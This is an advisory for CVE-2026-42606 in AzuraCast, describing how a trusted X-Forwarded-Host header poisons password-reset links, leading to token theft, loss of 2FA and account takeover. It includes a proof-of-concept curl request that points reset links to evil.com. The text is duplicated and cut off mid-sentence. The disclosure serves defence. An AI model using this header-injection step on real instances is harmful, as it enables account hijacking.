CVE-2026-42606

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40:

if ($request->hasHeader('X-Forwarded-Host')) {
    $hasXForwardedHeader = true;
    $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);
    if (null !== $xfHost) {
        $uri = $uri->withHost($xfHost);
    }
}

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgi_pass with include fastcgi_params. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP_* parameters. The proxy_params.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxy_pass directives (websocket and vite dev server), NOT to the fastcgi_pass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl():

$useRequest ??= $settings->prefer_browser_url; // default: true

// ...
if ($useRequest || $baseUrl->getHost() === '') {
    $ignoredHosts = ['web', 'nginx', 'localhost'];
    if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {
        $baseUrl = (new Uri())
            ->withScheme($currentUri->getScheme())
            ->withHost($currentUri->getHost())
            ->withPort($currentUri->getPort());
    }
}

With prefer_browser_url = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a base_url is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true
);

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75:

$user->setNewPassword($data['password']);
$user->two_factor_secret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., [email protected]) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

curl -X POST https://target.azuracast.example/forgot \
  -H "X-Forwarded-Host: evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "[email protected]"

Expected result: The password reset email sent to [email protected] contains a URL like:

https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token…

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover. This issue has been patched in version 0.23.6.

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40:

if ($request->hasHeader('X-Forwarded-Host')) {
    $hasXForwardedHeader = true;
    $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);
    if (null !== $xfHost) {
        $uri = $uri->withHost($xfHost);
    }
}

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgi_pass with include fastcgi_params. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP_* parameters. The proxy_params.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxy_pass directives (websocket and vite dev server), NOT to the fastcgi_pass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl():

$useRequest ??= $settings->prefer_browser_url; // default: true

// ...
if ($useRequest || $baseUrl->getHost() === '') {
    $ignoredHosts = ['web', 'nginx', 'localhost'];
    if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {
        $baseUrl = (new Uri())
            ->withScheme($currentUri->getScheme())
            ->withHost($currentUri->getHost())
            ->withPort($currentUri->getPort());
    }
}

With prefer_browser_url = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a base_url is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true
);

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75:

$user->setNewPassword($data['password']);
$user->two_factor_secret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., [email protected]) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

curl -X POST https://target.azuracast.example/forgot \
  -H "X-Forwarded-Host: evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "[email protected]"

Expected result: The password reset email sent to [email protected] contains a URL like:

https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token…